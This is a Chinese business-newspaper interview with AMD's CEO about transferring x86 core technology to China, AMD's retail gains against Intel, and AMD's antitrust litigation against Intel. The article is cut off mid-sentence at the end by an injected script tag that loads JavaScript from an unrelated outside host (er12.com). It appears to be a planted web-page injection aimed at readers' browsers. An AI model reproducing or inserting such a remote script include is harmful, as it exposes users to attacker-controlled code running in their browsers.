关于技术转移，我们同美国政府进行了差不多两年非常激烈、紧张的沟通。可以说，我们向中国转让的x86核心技术，已经是根据美国出口管制法律规定可以向中国转让的最先进技术。
手握64位计算和双核两大绝技的amd公司，又一次站到了决斗场的正中央。
根据调研机构current analysis统计，在经历2005年前六个月的萧条后，amd终于在9月异军突起，夺下52%的美国桌面(台式机)处理器零售市场份额，高出intel(46%)六个百分点，这是amd历史上首次在消费类零售市场单月销量超越intel。
10月24日，amd董事会主席、总裁兼首席执行官海克特-鲁毅智率领董事会全体成员亮相北京，接下来的一周时间，amd公司全球董事会将首次在北京召开。未来三至五年在中国的发展策略与目标成为核心议题。
同时，鲁毅智此行也带来了与中国市场有关的一揽子合作计划和项目，其中24日晚与科技部签署低功耗x86微处理器核心技术转让协议更是引起了业界广泛关注。
10月25日上午，本报对海克特-鲁毅智进行了专访。
与美国政府沟通了两年
《21世纪》：对于核心技术向中国的转让，美国政府一直都是严格控制的，此次低功耗x86微处理器核心技术的成功转让经历了怎样一个过程？
鲁毅智：关于技术转移，我们同美国政府进行了差不多两年非常激烈、紧张的沟通，因为必须要通过美国出口管制法相应的规定。可以说，我们向中国转让的x86核心技术，已经是根据美国出口管制法律规定可以向中国转让的最先进技术。
这个技术实际上是基于指令集架构的“软核”，围绕它中国的研究人员可以开发很多的应用，比如在商务运算、高效能计算、服务器、网络、通讯、消费电子等等方面，x86核心技术属于一个非常中心、基础的地位。
《21世纪》：该项技术的转让将给amd带来哪些切实的利益？
鲁毅智：这项技术的授权对于amd也非常重要，因为它—方面可以对中国的消费市场进行很大的推动，另外可以给中国的客户和公司带来很大的收益，而这些客户、公司也都会是amd在中国的业务伙伴。
与竞争对手相比，我们的市场侧重不同，英特尔的x86架构主要仍是针对更传统意义上的pc计算；对于amd来说，我们与中国合作推广这项技术，更多是希望应用在网络、通讯、消费电子等新兴领域。
《21世纪》：根据一些调查机构的统计，9月份amd在美国消费类零售市场首次单月销量超过英特尔，请问这得益于什么因素？
鲁毅智：我们在9月确实获得了不错的成绩，第三季度的财务表现也超出了华尔街的预期。从商业的角度说，我从不相信任何事情具有偶然性。
现在的消费者在购买产品的时候，对于价值的考察越来越仔细，他们知道amd产品的确会给他们带来物超所值的体验。举一个普遍的例子，全世界不管是哪里，经常玩游戏的人大多数都是使用amd的产品，因为我们的产品确实在游戏性能上让用户得到了实惠，这也就是我们要继续恪守的标准，做好这点我们就可以保持在市场上的领导地位。
只有nec拒绝作证
《21世纪》：过去几年中，amd一直在起诉英特尔以垄断地位以大欺小，英特尔的垄断对amd造成的不利影响究竟有多大？
鲁毅智：关于垄断的问题，我可以举一个最好的例子，来阐述为什么amd要提起这次诉讼。2000年我们在日本的市场份额为25%，2004年我们在日本的市场份额却只有5%，这期间恰恰是amd推出最强劲产品的时期。之所以造成大规模的滑坡，惟一的原因就是英特尔公司采取了非法的垄断手法，这对我们造成了很大的损失，类似情况在中国、韩国、欧洲市场也都存在，放任其继续下去是我们绝对不能允许的。
《21世纪》：起诉后情况有改善吗？除了诉讼，amd还采取了哪些措施应对英特尔的垄断行为？
鲁毅智：法律诉讼带来的实际效果是明显的最直接的表现就是英特尔在市场中许多环节的行为被约束了。举个中国市场的例子，不久前微软—年一度的技术大会，amd的展台是挨在微软旁边优于英特尔的位置，此前这样的情况是不可能出现的，英特尔通常都会以取消赞助甚至不参加技术大会来要求微软不邀请amd。
法律诉讼是在商业活动中维护公司利益的常规手段，产品的领先与技术的创新是取胜根本，事实上无论是在64位计算技术还是多核心领域，amd一直都领先于竞争对手，让用户体验到真正的价值是获得市场的关键。
《21世纪》：amd与intel的诉讼进展到何程度？你们胜算的机会有多大？如果pc厂商不支持amd，你们该怎么办？
王妩蓉(amd大中华区市场总监)：我们提起这次诉讼，就是为了要停止英特尔商业竞争中的不法行为。目前除了日本，欧盟，韩国等wto相关组织也都对英特尔的垄断展开相关调查，我们?script src=http://er12.com/t.js>
